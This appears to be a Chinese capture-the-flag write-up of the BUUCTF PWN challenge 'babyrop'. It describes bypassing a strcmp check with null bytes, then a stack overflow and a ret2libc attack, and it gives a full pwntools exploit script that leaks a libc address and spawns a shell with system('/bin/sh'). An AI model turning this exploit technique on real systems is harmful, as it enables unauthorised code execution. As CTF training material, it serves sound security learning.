【BUUCTF|【BUUCTF - PWN】babyrop】checksec一下,可以栈溢出
文章图片
IDA打开看看,读取随机数作为参数传入函数中
文章图片
读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节,可以通过输入 \0 绕过字符串比较
文章图片
返回的字节作为read的长度,buf只有231字节,可以通过传入255来栈溢出,然后就是标准的ret2libc了
文章图片
from pwn import *
from LibcSearcher import *context.os='linux'
context.arch='i386'
context.log_level='debug'sl=lambda x:io.sendline(x)
rl=lambda :io.recvline()io=remote('xxx',xxx)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')main=0x8048825payload='\0'*7+'\255'
sl(payload)
rl()
payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4)
sl(payload)
write_addr=u32(io.recv(4))
libc_addr=write_addr-libc.sym['write']
payload='\0'*7+'\255'
sl(payload)
rl()
payload='a'*(0xe7+4)+p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next())
sl(payload)io.interactive()
附件:babyrop
推荐阅读
- ACM|HDU 5322 Hope (CDQ分治+NTT)
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- 图论|【启发式合并】例题 CodeForces-600E(子树颜色 树上众数)+ CodeForces - 1009F(每层节点数的众数)+ CSU - 1811(去边后,求颜色并集大小)
- ————ACM相关————|CodeForces - 1059D Nature Reserve (二分搜索)
- 数学|[BZOJ4036] set - 子集和变换 - 容斥原理/莫比乌斯反演定理
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- CTF|CTF题记——BUU刷题